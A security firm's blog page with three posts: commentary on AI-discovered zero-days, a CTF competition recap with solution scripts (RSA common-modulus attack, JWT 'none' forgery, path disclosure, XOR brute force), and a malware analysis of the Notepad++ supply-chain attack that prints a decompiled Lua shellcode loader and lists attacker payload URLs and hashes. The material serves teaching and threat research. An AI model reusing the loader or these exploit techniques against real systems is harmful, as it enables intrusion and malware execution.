GeistHaus
log in · sign up

Ukatemi Technical Blog

Part of ukatemi.com

Keep poking it, until you understand it!

stories primary
Lessons from the Calif "MAD Bugs" Series
Show full content

Just a few weeks ago, we lived in a world where a robust security architecture with regular tests + patching semi-regularly provided a decent protection for most companies. Then, large language models (LLMs) started to generate working exploits for freshly patched vulnerabilities, or even 0-days they themselves had found. It is worth to read the Month of AI-Discovered Bugs (MAD Bugs) series series by Calif - they were one of the pioneers to document LLMs', especially Claude's new powerful capabilities. What are the consequences of these changes?

The past seems peaceful now #

There are several ways an attacker may compromise a system:

  1. Exploiting vulnerabilities in software configurations, weak passwords, benign users and so on.
  2. Exploiting outdated, vulnerable software.
  3. Exploiting 0-day bugs in software otherwise believed to be secure.
  4. Combining any of the steps above in complex attack chains.

Most organizations did not need to worry about 0-days. Identifying such vulnerabilities takes experts a significant amount of time, and attackers know that exploiting them carries the risk of someone discovering both the attack and the vulnerability. Thus, 0-days become quickly obsolete, offering only a few opportunities. These factors previously made them rather expensive, leaving them to the toolchain of advanced persistent threats (APTs) - teams with abundant resources and extensive expertise. APTs, however do not usually target the small small-scale victims; they usually compromise the most valuable systems like critical infrastructure.

To protect against more commonplace/routine attacks, experts had developed a comprehensive approach over time: apply security patches at least every few weeks, have a secure architecture, raise awareness in your team, embrace a safety culture, have independent professionals test your infra. This is the best practice across countries, industries and standards.

These certainties of yesterday seem to collapse with the rise of powerful LLMs.

MAD exploits arriving #

Calif has shown that Claude Mythos could find 0-day vulnerabilites in popular software like Vim and Emacs, even providing a working exploit to achieve remote code execution (RCE). In some other cases, while Claude could find a new bug, it required human guiding to accomplish the same.

In one scenario, after reporting a discovered vulnerability in nginx, the Calif team noticed one more strange event: another AI-driven service was apparently watching commits in the nginx repository, and it produced another working exploit based on the fix within hours.

It is certain that this technology is already used by attackers in the wild.

The consequences seem to be of fundamental importance. The window to get, test and deploy a security patch before the first exploit appears has collapsed from the magnitude of days to a few hours. More crucially, the cost of 0-days has just fallen immensely. It now makes sense for criminals to AI-generate an attack chain of 0-days, compromise as many systems as possible before getting detected. Even if that happens, it won’t entail any significant cost for the attackers: they’ll simply generate another 0-day exploit, which they’ll then use to launch a widespread attack on the systems within their sight.

How can defense keep up? #

AI-driven 0-days and a collapsed patch window surely sound frightening. But take the term "AI-driven" away, and you just get the old reality of APT targets. At Ukatemi, we work with numerous organizations in finance, the electric power industry and critical infrastructure, which are all aware they are prime candidates for sophisticated, long-term intrusion attempts. They also have great defenses in place to combat this risk.

The scary new reality Calif's findings describe essentially the democratization of APT-level capabilities. What was once the exclusive domain of well-funded nation-states with teams of human researchers is now available to anyone with a powerful LLM and a clever prompt.

The blueprint for survival, therefore, already exists. Organizations that have successfully weathered the APT storm don’t rely on a single firewall or a patch-when-we-can philosophy. Instead, they lean into a battle-tested stack:

  • Defense-in-depth: If an AI finds a 0-day in your web server, does it grant them the keys to the kingdom? A resilient architecture ensures that a single breach is contained via strict micro-segmentation and robust Identity and Access Management (IAM) policies. Organizations succesfully deploying defense-in-depth usually set up multiple layers of protection around and inside their systems, each designed to completely block attacks against what they cover.
  • Assumed breach mindset: This involves high-fidelity Intrusion Detection Systems (IDS) and continuous monitoring that look for the behavior of an attacker rather than just the signature of a known exploit.
  • Professional incident response: When the patch window collapses from weeks to hours, your incident response team needs to be a well-oiled machine, capable of isolating systems at the first sign of an anomaly. It is worth noting that AI can also be used to flood your IDS with false positive alerts, thus your team must be able to quickly assess and discard such incident reports.

For most small to mid-sized organizations, the hesitation to adopt an APT-level security posture hasn't been a matter of negligence, but of simple economics. Building an in-house Security Operations Center (SOC), maintaining 24/7 incident response teams, and re-engineering legacy architecture for micro-segmentation carries a staggering overhead. Historically, the cost of a breach was a theoretical risk that often looked cheaper than the cost of prevention.

However, the AI-driven collapse of the patch window flips this logic. When the barrier to entry for sophisticated attacks drops, the frequency of those attacks rises, making the theoretical risk an eventual certainty. Fortunately, the solution doesn't have to be a multi-million dollar internal hire spree. By contracting independent experts and specialized managed service providers, smaller firms can rent the sophisticated defense-in-depth expertise they can't afford to build. Leveraging external specialists like Ukatemi for targeted architectural audits and rapid-response retainers offers a middle ground: achieving high-tier resilience at a fraction of the cost of a full-scale enterprise security department.

Ultimately, we are still in the early, unpredictable chapters of the AI security era. It remains to be seen exactly how intense these machine-driven attack campaigns will become, which sectors will be targeted first, or how the arms race between autonomous exploits and future AI-augmented defenses (such as secure software development lifecycles, automated code auditing, and intelligent intrusion prevention) will balance out. What is no longer up for debate, however, is that the era of treating an almost-APT-level security as an optional luxury is over. Organizations can no longer afford to wait for the dust to settle; they must proactively adopt a defensive architecture centered on defense-in-depth, continuous monitoring, and rapid incident response capabilities. The speed of the machine is already here, and the only viable response is to build a fortress that can withstand it.

https://blog.ukatemi.com/blog/2026-05-11-ai-0-day-exploits/
IX. National IT Competition (OITM) recap
Show full content

The National IT Competition (aka. OITM, Országos IT Megmérettetés) is a yearly, individual, large-scale Hungarian online competition designed for IT professionals, developers, students, and technology enthusiasts. It runs over several weeks and features practical, real-world challenges across more than twenty IT categories, such as programming, cybersecurity, DevOps, data science, and other modern, mainstream technology fields. Participants complete online tasks that test both theoretical knowledge and hands-on skills, receiving scores and feedback that allow them to compare their performance with other competitors nationwide, win prizes and gain professional recognition.

OITM IX. (2025) #

During the Autumn of 2025 the IX. OITM took place with 16 categories and 5 rounds in each category. The major update in this year's competition was that 6 categories had a 6th round which was a live final hosted before the award ceremony on the 6th of February, 2026. Another change from our side was that for the first time we were invited to create and host the IT Security category. This meant a few things:

  • we could not participate in the IT Security category obviously;
  • we created the challenges for all of the five offline rounds;
  • we hosted the live final round;
  • we streamed and commented the final round via Youtube Live;
  • we gave the awards for the top players.

Three of us were responsible for creating the challenges: Gergő Krátky and Kristóf Tamás (for all rounds) and Zoltán Iuhos (for the final).

This year, our focus was on the IT Security category, but Kristóf Tamás and Balázs Gnandt also participated in other categories. We reached the top 10 multiple times, most notably Kristóf earned the 2nd place in the Technical Dept Management and in the Frontend categories and reached the 6th place on the overall scoreboard (3rd place in the online rounds) in a very tight competition. There were more than 1800 participants in the whole event and 539 in our IT Security category which was one of the most popular categories.

The motto of the competition was There's no AI without wit! (Nincs AI ész nélkül!) which was very apt. Some categories did not support the use of AI, but in our category we allowed everything, just as in a real life scenario. The challenges we created could be solved faster with the help of AI tools, but AI alone was not enough to be amongst the top players, it required criticism, experience and out-of-the-box thinking. AI alone is insufficient in this area, individual preparedness, creativity, and expertise are still a competitive advantage.

The online rounds (round 1-5) #

The first five rounds took place in October and November during five consecutive weeks. All five rounds followed a single incident investigation, where the competitors had to identify the entry point of the attacker, investigate the dropper file and the deployed ransomware, use OSINT techniques to find information about the threat actors, and finally hack the infrastructure of the attacker to obtain the ransomware decryption keys.

Solutions of the online rounds Round 1 - #forensics #

wireshark pcap rdp dropper powershell

During the 1st round the competitors were given a PCAP file which they have to analyze:

  • the initial access vector was an exposed RDP services and the Administrator user had weak credentials;
  • the PowerShell dropper was downloaded through an unencrypted HTTP connection from the C&C server;
  • the PowerShell dropper used AES-CBC encryption to decrypt the ransomware payload;
  • the encryption key was also visible in the PCAP.

7 players could solve all questions in this round.

Round 2 - #reverse #

python pyinstaller aes rsa kill switch darknet

The task in the 2nd round was to analyze the ransomware itself:

  • the ransomware was written in Python and an EXE file was created using PyInstaller;
  • it creates a random AES key which is used to encrypt some files on the local machine;
  • the encryption key is encrypted with a hardcoded RSA public key and sent to the C2 server;
  • a kill switch terminated the malware if it detected Hungarian or Polish keyboard layouts;
  • the ransom note suggested the a site on the darknet should be visited (.onion domain).

45 players could solve all questions in this round.

Round 3 - #osint #

osint, tor, darknet, mastodon, github

In round 3, the competitors had to use OSINT techniques to find the attackers:

  • the ransom note contained a Tor domain (ending with .onion);
  • by visiting the site one could find a Mastodon handle;
  • on the Mastodon page of the threat actor we could find hints to a GitHub account;
  • there was an Android application in development under the found GitHub account.

25 players could solve all questions in this round.

Round 4 - #mobile #

apk, android, root detection, native library, api

Round 4 was about analyzing the mobile application of the threat actor:

  • the competitors were given an Android application, which presented the current balance of the threat actor in BTC;
  • the application had root detection capabilities;
  • the API key was hardcoded, but encrypted with XOR in a native library;
  • the competitors either had to proxy the application or reverse engineer the native library to obtain the API key;
  • the /users endpoint was hardcoded in the application but never used, the goal was to identify the registered users.

23 players could solve all questions in this round.

Round 5 - #web #

sqli, decryption

In last online round the goal was to hack the attackers infrastructure to obtain the decryption key:

  • the given web application had a hidden search functionality;
  • the search functionality was vulnerable to SQL injection;
  • by exploiting the SQL injection one could dump the whole database including the RSA private key and the RSA encrypted AES encryption keys;
  • the specific AES encryption key had to be decrypted using the private key;
  • finally the encrypted flag.txt file could be decrypted using the obtained AES key.
The offline final (round 6) #

The TOP 40 players were invited to the 6th round which was a live final round from which 29 players participated. We decided to create a small CTF event during the 40 minutes allocated for the final. A CTFd infrastructure was deployed to AWS and the competitors could access the challenges through CTFd. As 40 minutes is not much time, we decided to create 10 small challenges in the most common CTF categories:

  • one easier crypto, one harder crypto
  • one easier forensics, one harder forensics
  • one easier misc, one harder misc
  • one easier reverse, one harder reverse
  • one easier web, one harder web

All challenges were open from the start of the final, the award for solving an easier challenges was 2 points, the award for solving a harder challenges was 3 points. Most of the challenges required a few minutes to solve (for an experiences CTF player) which meant that it was not possible to solve all challenges during 40 minutes, but that was our goal. The live scoreboard and the progress of each player was visible for everyone.

The Stream #

During the live finals three categories had an online stream and commentary: Accessibility of websites, Python, and IT Security.

Gergő and Kristóf represented Ukatemi and Szilárd Csordás from ITBN was the host. We've talked about IT security, CTF competitions and the CTF ecosystem and also narrated what is happening during the live final by visiting the screens of some players.

You can rewatch the stream here: https://www.youtube.com/watch?v=zD2nK-w08HE

Inside the studio during the live stream
Inside the studio during the live stream

Results of round 6 #

The best player kristof345 was able to solve all but one challenge (the hard web challenge), which was our expected progress, every player was able to solve at least one challenge and every challenge was solved by at least a few competitors.

Scoreboard of round 6
Scoreboard of round 6

The TOP 10 players were above 10 points which means that they were able to solve at least around 5 challenges, they might be more experiences CTF players. All other players were able to solve around 2-3 challenges, which is also great as getting familiar with the platform, choosing between the tasks and understanging them is not trivial within only 40 minutes. Furthermore, they had to submit all flags to the website of OITM too.

The most solved challenge was surprisingly the easy Java reverse challenge with 22 solve out of the 29 players. The other easy challenges followed: crypto, forensics, web and misc with 13-15 solves.

Most solved challenges during round 6
Most solved challenges during round 6

Solutions of the finals Crypto - I fly like paper, get high like planes (easy) #

In this challenge we get a text file called papirrepulo.txt, containing 3 pairs of numbers. The numbers are labeled as n1, e1, n2, e2, c1 and c2.

Having a little bit of crypto knowledge, we are suspicious, that this will be an RSA challenge.

The first thing we notice is that n1 equals n2, meaning that both moduli are the same. We also see that the public exponents e1 and e2 are different, while their Greatest Common Denominator (GCD) is 1. We also have two different ciphertexts c1 and c2.

At this point it is clear that we need to use a Common Modulus Attack to solve this challenge without factoring n.

The Common Modulus Attack is a well documented attack, we can find several resources explaining every detail, with even example solving scripts. Without much explanation, we can quickly write a python script based on the resources found, to solve the challenge:

from Crypto.Util.number import inverse

def egcd(e1, e2):
    if e2 == 0:
        return e1, 1, 0
    g, x1, y1 = egcd(e2, e1 % e2)
    return g, y1, x1 - (e1 // e2) * y1

def common_modulus_attack(n, e1, e2, c1, c2):
    g, a, b = egcd(e1, e2)
    print(a,b)

    if g != 1:
        raise ValueError("Exponents are not coprime")

    if a < 0:
        c1 = inverse(c1, n)
        a = -a

    if b < 0:
        c2 = inverse(c2, n)
        b = -b

    m = (pow(c1, a, n) * pow(c2, b, n)) % n

    plaintext = m.to_bytes((m.bit_length() + 7) // 8, "big")
    return plaintext
Crypto - TODO test this! (hard) #

For this challenge, we are provided with two files. The first is called messages.txt and contains 5 lines of timestamps and base64 encoded strings. The second file is called exfiltrate_secrets_final_2.py, which is a Python script, that connects to a server and sends out encrypted messages to it. The description of the challenge also mentions, that the encryption script contains an error, and we might not be able to decrypt the messages.

Upon closer inspection the encryption of the messages is the following: For every message, at the time of sending the message, a new random number generator is seeded with the current time, and then a XOR key is generated using this random number generator. Then the encrypted message is base64 encoded, and concatented to the current timestamp.

However, the error in the script is that the timestamp only contains the minutes, and anything beyond that is not sent to the server.

In summary, we have down to the minutes of when each random number is seeded with the current timestamp, and we have to bruteforce the rest of the timestamp to restore the original messages.

For this task we can create the following script:

import random
import time
import base64

def XOR_decrypt(ciphertext: bytes, key):
    decrypted_message = bytes(b ^ k for b, k in zip(ciphertext, key))
    try:
        return decrypted_message.decode('utf-8')
    except:
        pass

def decrypt_message(ciphertext: bytes, timestamp):
    for n in range(60):
        random.seed(timestamp+n)
        key = bytes(random.randint(0, 255) for _ in range(len(ciphertext)))
        decrypted_message = XOR_decrypt(ciphertext, key)
        if decrypted_message is not None:
            print(decrypted_message)

def process_messages():
    for line in messages.splitlines():
        datetime, encoded_message = line.split(' - ')
        timestamp = int(time.mktime(time.strptime(datetime, '%Y.%m.%d %H:%M')))
        encrypted_message = base64.b64decode(encoded_message)
        print(f'{timestamp}~{encrypted_message}')
        decrypt_message(encrypted_message, timestamp)
Forensics - Data exfiltration (easy) #

In this challenge we are given a network packet capture file called capture.pcapng.

Opening and inspecting the file reveals that it has mostly DNS and TLS traffic in it.

The protocol hierarchy in the capture file
The protocol hierarchy in the capture file

Hoping that the flag is in the DNS data and not in the TLS, we filter the packets to the DNS traffic with the dns display filter.

The DNS traffic in the pcap file
The DNS traffic in the pcap file

Visually inspecting the remaining packages we can spot a pattern of many DNS requests for ukatemi.com, with every request querying a different, one character long subdomain. Which is even more promising that the first few subdomain characters are the following: o, i, t, m, {.

We can extend our display filter, to only contain these interesting packages: dns contains "ukatemi" && ip.src == 10.0.2.15. Now the only remaining task is to read the subdomain characters one after another.

Forensics - Oopsie daisy (hard) #

In this challenge we receive a QEMU disk image file called ntfs.qcow2. Our task, according to the description of the challenge is to restore some files from this filesystem.

Based on the name of the file, we can assume that the file contains an NTFS file system.

First we need to access the filesystem, which is achieved by connecting the given file to a QEMU Disk Network Block Device Server. The command for this is the following: sudo qemu-nbd --connect=/dev/nbd0 ./ntfs.qcow2.

For NTFS volumes there is a tool called ntfsundelete, with which we can try to restore any previously deleted file. The command for this is as follows: sudo ntfsundelete -u -m '*' /dev/nbd0p1. When running this command we are greeted with an output, stating that one deleted file was restored, called secret.txt.gz. Extracting the GZIP archive reveals the flag.

Misc - What does the owl say? (easy) #

For this challenge we get a message.wav file, which - according to the description of the challenge - is a desperate sound recorded by a listening device.

Listening to the file, we can hear an intresting beeping sound, and some strange noise under it.

Our best bet for an easy misc challenge with a .wav file in it, is to open the file in Audacity. Maybe we get lucky and spot our next clue in the waveform or the spectrogram view of the file.

And just by selecting the spectrogram view, we can already see the flag in its full glory.

The flag displayed in the spectrogram view of Audacity
The flag displayed in the spectrogram view of Audacity

Misc - Titkos üzenet száll a széllel / A secret message is carried on the wind (hard) #

In this challenge we are provided a fenykep.jpg file, which depicts an animated owl cosplaying Sherlock Holmes.

The image file of the challenge
The image file of the challenge

After checking the very basic CTF checklist when it comes to misc challenges (file, strings, exif, binwalk), we steer in the direction of steganography tools and techniques. StegOnline is a great image steganography tool available as a web application, in which we start by inspecting the color and the bit planes of the image. Upon browsing through the bit planes, we get a weird phenomenon in the blue 0 bit plane.

The blue 0 bit plane contains some weird pattern
The blue 0 bit plane contains some weird pattern

This is a plane with a repeating, lower entropy pattern at the top. This usually means there is some data embedded in the image, into the bitplane with the phenomenon.

To extract the data we can also use the online tool called StegOnline, or we can just as easily write a quick Python script using the Pillow package.

The extracted data is another image file, visually containing the flag.

Reverse - Flag a javából / Flag from Java (easy) #

In this challenge we are given a flag_check.jar file.

JADX-GUI is a Dex to Java decompiler, which can decompile the JAR into readable code.

The decompiled Java code shown in JADX-GUI
The decompiled Java code shown in JADX-GUI

The encoded flag uses a simple XOR encryption, so the same value which is used for the encryption can also be used for the decryption.

Example decode script in python:

flag = [69, 67, 94, 71, 81, 126, 66, 79, 117, 75, 68, 89, 93, 79, 88, 117, 67, 89, 117, 26, 82, 24, 107, 87]
print(''.join(chr(i^42) for i in flag))
Reverse - Útvesztő / Maze (hard) #

The challenge starts with a binary file called maze.

The binary does not use packing/obfuscation techniques, and the compilation was done without the use of optimization. The symbol table is left intact, and most of the logic in the decompiled code is very similar to the source code.

Running the binary, or by decompiling it and checking out the print_help_and_exit function, we can see that the executable expects a 15 character long command line argument consisting of the characters u, d, l and r. Examining the code further we can deduce that these are directions used to navigate a maze, and by providing the correct input sequence, we can reach the end of the maze and get our flag, which itself consists of the input sequence.

To get the flag, we must understand how the map is stored and how the correctness of the input is checked. The latter is handled by the take_step function.

By examining this function we can deduce that the map is a 6x6 grid stored in a 36 size array. From the start point (index 0) we must reach the end point (marked by the value 2) without moving out of the grid and without hitting any walls (marked by the value 1).

The next step is to find the values of the map array. It's a global variable stored in the .data segment, which can be easily read using either Ghidra or gdb.

Ghidra will most likely interpret it as a byte array instead of an int array, so it must be cast to an int array first to read the values correctly.

The values can also be read using gdb:

(gdb) p &map
$1 = ( *) 0x4040 
(gdb) p * 0x4040@36
$2 = {0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 2, 0, 1, 1}

The correct path can be easily seen by transforming the array into a 6x6 grid:

0 0 1 1 1 1
1 0 1 0 0 0
1 0 0 0 1 0
1 1 1 1 0 0
1 1 1 0 0 1
1 1 2 0 1 1

Since we start at the top left (index 0), the correct path is rddrrurrddldldl. We can get the flag by putting this into the oitm{...} format (based on how the flag is printed by the program) or by running the binary with the sequence.

Web - Kedves naplóm / My dear diary (easy) #

We are provided a URL to a web application.

We can login using the credentials provided in the challenge description.

Our session information is stored in a JWT cookie. If we put it into a JWT decoder (or just decode the base64), we can see that the signature is missing, and the signing algorithm is set to none.

The note after logging in gives us a hint that there's also an admin user. We can access the admin user's notes by changing the username claim in the token to admin and refreshing the page. Here one of the notes contains the flag.

Web - Irattár / Archives (hard) #

We are provided a URL to a web application.

Clicking the List Files button we get 5 files. They are not too useful, only HELPME.txt gives us a hint that an "important file" (the flag) is most likely in the parent folder of static/files/public/.

We can find the REST API endpoint /api/list_public either in the javascript code, or by intercepting the API call when the button is clicked. The request contains the parameter page=1, but in the response max_page is set to 2. Calling the endpoint with page=2 we can find the swagger.yml file. We can download it by going to /static/files/public/swagger.yml.

In the swagger we can find an additional root_dir parameter, and an endpoint called list_private.

Experimenting with the root_dir parameter we can find two important discoveries:

  • Accessing the parent folder using .. is filtered out
  • It's possible to read other files by entering an absolute path like /etc/passwd, but only inside of the static/files directory

Unfortunately we don't know the absolute path of static/files directory.

Calling the /api/list_private endpoint will only return an error message:

{"message": "Directory '/app_2Ls9qpPF/static/files/private' does not exist"}

What a delightful turning of events! There's the absolute path! We can call /api/list_public with root_dir=/app_2Ls9qpPF/static/files to get the name of the flag file:

{
  "files": [
    { "name": "flag_KP7Rev2v.txt" },
    { "name": "public" }
  ],
  "max_page": 1
}

And then read the flag by accessing /static/files/flag_KP7Rev2v.txt.

Award ceremony and results #

The award ceremony of the whole OITM competition was held on the evening of February 6th.

The best players through all of the 6 rounds in the IT Security category were:

  1. Alex Hornyai
  2. Máté Szén
  3. Bence Kádár-Szél

Talking about Ukatemi and the created challenges
Talking about Ukatemi and the created challenges
The TOP 3 players of the IT Security category
The TOP 3 players of the IT Security category

Congratulations to the winners and all other competitors and thank you for participating in our category!

Our history with OITM #

Employees of Ukatemi have been participating in OITM since 2019. In the last 7 competitions we have won several awards, most notably:

  • won the first team category in 2021 (source)
  • achieved the best national IT team in 2023 and 2024 (source, source)
  • earned the Most Versatile IT Professional in Hungary title multiple times
    • Péter György in 2023 (source)
    • Kristóf Tamás in 2024 (source)
  • at least one of our colleagues was in the top 6 in the overall scoreboard in every OITM in the last 7 years
  • reached the podium in the IT Security category multiple times
    • 1st place by Kristóf Tamás, 2nd place by Gergő Krátky in 2020 (source)
    • 3rd place by Kristóf Tamás in 2021 (source)
    • 2nd place by Kristóf Tamás in 2022 (source)
  • reached the 1st, 2nd and 3rd places in many other categories
Closing thoughts #

Three things we learned as organizers:

  1. It takes much more time to create tasks than to solve them. Compared to previous years and other competitions, we wanted to create tasks that were of the highest professional quality, that could satisfy a diverse audience, that covered a sufficient range of topics, and that were crystal clear. There is nothing worse than someone losing points because of the ambiguity of a challenge.
  2. AI is a tool, not a solution. In our work, we have also found that AI-based, automated testing does not provide real protection. It can speed up answers to some simpler questions (which is important and good, of course), but human creativity, experience, passion, thirst for knowledge, and expertise deliver much more reliable results. The contestants illustrated this perfectly.
  3. It feels great to belong to communities based on professionalism. The organizers, other partner companies, the competitors were all a great source of inspiration. In all the aspects of our work, we look for similar communities, in Hungary and abroad too.

Ukatemi Team at the award ceremony
Ukatemi Team at the award ceremony

Many thanks to Human Priority who is the creator of the competition and namely many thanks to the organizers - Gellért Pulay, Levente László, Barnabás Varga - for choosing us and for making this unique event!

Links #
https://blog.ukatemi.com/blog/2026-02-17-oitm/
Notepad++ supply chain attack related samples
Show full content

In this report, we use our Kaibou Search Services to find related samples to the Notepad++ supply chain attack that happened between 2025-06 and 2025-12. During the analysis we uncover 14 new similar samples and 11 new stager URLs related to the threat actor.

If you are already familiar with the attack, skip to our contribution.

Attack overview #

On October 23, 2025 a Notepad++ user reported suspicious activity related to the automatic update of Notepad++. The activity involved acquiring information about the host system and uploading it to https://temp.sh, a file storage provider.

Suspicious commands originating from Notepad++ update (source: notepad-plus-plus.org)
Suspicious commands originating from Notepad++ update (source: notepad-plus-plus.org)

Up until December 9, 2025, more Notepad++ users reported that some update requests were redirected to external servers and trojanized executables were downloaded to their systems. This could be done because the update mechanism didn't verify cryptographic signatures on the downloaded binaries, so a Man-in-the-Middle (MitM) attacker in the right place could serve any file they wanted. On December 1, certificate verification was added to the update mechanism (wingup commit, Notepad++ commit).

February 2, 2026 Don Ho, the main author of Notepad++ published a blogpost about the security incidents happening between June and December 2025. As per the excellent overview from Costin Raiu, the attackers leveraged the shared hosting infrastructure at Hostinger to attack Notepad++ specifically. They probably compromised another site, hosted on the same server to execute code, then utilized an exploit (maybe CVE-2025-6018) to elevate their privileges, maybe modify the Notepad++ update script (https://notepad-plus-plus.org/update/getDownloadUrl.php) to redirect users to attacker controlled domains. A good illustration about the network traffic is shown in the followup blog by Kenneth Kinion and Elliot Roe from Validin. On 2025-09-02 Hostinger updated the kernel and firmware of the server and so the original attack vector was eliminated. But the attackers could still meddle with the notepad++ update traffic, probably through suo5 PHP tunnels.

Based on techniques used during the attack the events are attributed to a Chinese APT group, Lotus Blossom. The information so far suggests that they first fingerprinted many compromised hosts with netstat, systeminfo, tasklist and whoami commands and later decided what hosts are worth infecting further. Too many infections increase the risk of discovery.

Samples included in the attacks #

The first analysis report was published by Ivan Feigl from Rapid7, it's an excellent, detailed deep-dive into the samples they analyzed, including Chrysalis backdoor. The following day, Georgy Kucherin and Anton Kargin from Kaspersky published a blog post about what they saw in their telemetry. We highly encourage everyone to read both reports for in depth understanding of the execution chains.

Timeline of the campaign from the Kaspersky blog (source: SecureList)
Timeline of the campaign from the Kaspersky blog (source: SecureList)

The Rapid7 report corresponds to Chain 3 in the Kaspersky blog.

Hostinger also published a short blog about the attack. Additional IoCs have been added to notepad++ site on 2026-02-05. This contains some IP addresses, HTTP User Agents and a few PHP files and their hashes. None of these are available in public databases.

How does Kaspersky know all hashes, type and size for a file they haven't seen? 🤔
How does Kaspersky know all hashes, type and size for a file they haven't seen? 🤔

Hunting for similar samples in Kaibou Search Services #

Let's try to expand on the known samples using our malware repository. We'll follow Kaspersky's order of chains. For every sample we'll check if they are available in our database. For this, we only need an MD5, SHA1 or SHA256 hash. SHA256 is used in Rapid7 report, SHA1 is used in Kaspersky. In order to perform similarity search to a sample, we need it's TLSH digest. This is almost never published in reports, so we need to obtain it from other sources (e.g. VirusTotal, MalwareBazaar or our database, Kaibou).

We use the following abbreviation:

  • VT = VirusTotal
  • KTIP = Kaspersky Threar Intelligence Portal
  • KSS = Kaibou Search Services
  • 012345...abcdef = SHA256 hash that begins with 012345 and ends with abcdef
Chain 1 # update.exe 1 Attribute Value Name update.exe SHA1 8e6e505438c21f3d281e1cc257abdbf7223b7f5a SHA256 36c98c18215a244e501673d9f01fa093d1906d08a7ad9927905f8f004640e4e1 TLSH ? KSS upload - VT upload - KTIP upload 2025-07-31 05:22:00+00:00 Size 1141401 Source Kaspersky Description NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains benign ProShow software with exploit code in file named load. update.exe 2 Attribute Value Name update.exe SHA1 90e677d7ff5844407b9c073e3b7e896e078e11cd SHA256 51266007c039ab80dbe9a2c38ed75759d954458d8864a0429c71e87be2bddce2 TLSH ? KSS upload - VT upload - KTIP upload 2025-08-05 03:59:00+00:00 Size 1141401 Source Kaspersky Description NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains benign ProShow software with exploit code in file named load with modified C2 load 1 Attribute Value Name load SHA1 06a6a5a39193075734a32e0235bde0e979c27228 SHA256 c7cc87ef3829a33b7f178d88a71ba548c37020005b09d16a76fcd356621335e6 TLSH ? KSS upload - VT upload - KTIP upload 2026-02-03 06:51:00+00:00 Size 15000 Source Kaspersky Description Exploit payload for ProShow load 2 Attribute Value Name load SHA1 9c3ba38890ed984a25abb6a094b5dbf052f22fa7 SHA256 26256ea1a345b788dd303f5621b5028cf572b733793039c8ee1e5c481113bd09 TLSH ? KSS upload - VT upload - KTIP upload 2026-02-03 06:47:00+00:00 Size 15000 Source Kaspersky Description Exploit payload for ProShow

As none of the samples are in our database or VT and Kaspersky doesn't use TLSH hashes, we cannot search for these. 🤷

Chain 2 # update.exe 3 Attribute Value Name update.exe SHA1 573549869e84544e3ef253bdba79851dcde4963a SHA256 69caa18ec5e86cf3a7376f3a9a08d118cbade608432dc262ba6c7fe692da7d33 TLSH ? KSS upload - VT upload - KTIP upload 2025-09-16 06:13:00+00:00 Size 137955 Source Kaspersky Description NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains LUA downloader. update.exe 4 Attribute Value Name update.exe SHA1 13179c8f19fbf3d8473c49983a199e6cb4f318f0 SHA256 a3cf1c86731703043b3614e085b9c8c224d4125370f420ad031ad63c14d6c3ec TLSH ? KSS upload - VT upload - KTIP upload 2025-09-18 21:40:00+00:00 Size 137969 Source Kaspersky Description NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains LUA downloader. update.exe 5 Attribute Value Name update.exe SHA1 4c9aac447bf732acc97992290aa7a187b967ee2c SHA256 798fd7c2a2d4f0865aec808962489b39f995961e38e2bebda8f84ddc5a935d86 TLSH ? KSS upload - VT upload - KTIP upload 2025-09-24 05:15:00+00:00 Size 137967 Source Kaspersky Description NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains LUA downloader. update.exe 6 return Attribute Value Name update.exe SHA1 821c0cafb2aab0f063ef7e313f64313fc81d46cd SHA256 4d4aec6120290e21778c1b14c94aa6ebff3b0816fb6798495dc2eae165db4566 TLSH 48E302277FE0C673FC9A0B701E365F6396BBD5142421CB0B83909A45FA21785DE662F2 KSS upload 2025-10-20 00:10:23+00:00 VT upload - KTIP upload 2025-10-17 08:17:00+00:00 Size 153023 Source Kaspersky Description NSIS installer downloaded from http://95.179.213[.]0/update/update.exe, contains LUA downloader.

Finally, the 6th update.exe, the October 2025 version of Chain 2 is available in our database. Similarity search results in 2 additional samples.

Similarity search results for update.exe (Chain 2, October 2025 version)
Similarity search results for update.exe (Chain 2, October 2025 version)

First similar sample to update.exe 6 return Attribute Value Name update.exe SHA1 26b72c28cc35552e9cf0c2939d5d595b2654e935 SHA256 cd88f47f6753d1e446e411fc4cb7a7a324adcd4ceb505aa1c8aee03aa951d681 TLSH 5CE302277FE0C673FC9A0A701E365F6396BBD5142421CB0B83909A45FA21785DE662F2 KSS upload 2026-02-05 10:10:08+00:00 VT upload 2026-02-06 05:05:08+00:00 KTIP upload 2026-02-05 03:56:00+00:00 Size 153023 Source Ukatemi Description Similar sample to 4d4aec...db4566

Files dropped from the NSIS installer cd88f4...51d681
Files dropped from the NSIS installer cd88f4...51d681

As mentioned in the Kaspersky report lua5.1.dll, script.exe and alien.dll are legitimate and alien.ini contains a LUA 5.1 compiled script. The first 64 bytes of the file look like this, it is indeed LUA 5.1, so we can decompile it with luadec:

00000000: 1b4c 7561 5100 0104 0404 0800 2700 0000  .LuaQ.......'...
00000010: 4043 3a5c 5573 6572 735c 4a6f 686e 5c44  @C:\Users\John\D
00000020: 6573 6b74 6f70 5c77 6c75 615c 6f75 7470  esktop\wlua\outp
00000030: 7574 2e6c 7561 0000 0000 0000 0000 0000  ut.lua..........
scc = ""
package.cpath = "./?.dll"
core = require("alien.core")
k32 = (core.load)("Kern" .. "el32")
u32 = (core.load)("Use" .. "r32")
len = (string.len)(scc)
va = k32.VirtualAlloc
vl = k32.VirtualLock
rmm = k32.RtlMoveMemory
es = u32.EnumWindowStationsW
va:types({"int", "int", "int", "int"; ret = "int", abi = "stdcall"})
vl:types({"int", "int"; ret = "int", abi = "stdcall"})
rmm:types({"int", "string", "int"; ret = "int", abi = "stdcall"})
es:types({"int", "int"; ret = "int", abi = "stdcall"})
ptr = va(0, len, 12288, 64)
vl(ptr, len)
rmm(ptr, scc, len)
es(ptr, 0)

The decompiled code just loads a shellcode to memory and calls User32:EnumWindowStationsW(scc, 0). As per the Microsoft docs, the first argument is a EnumWindowStationProc callback function. The shellcode itself is most likely an msfvenom windows/custom/reverse_http 32-bit payload (source code reverse_http.rb) that uses Wininet to download the next stage.

Api resolution stub in shellcode from LUA script from cd88f4...51d681
Api resolution stub in shellcode from LUA script from cd88f4...51d681
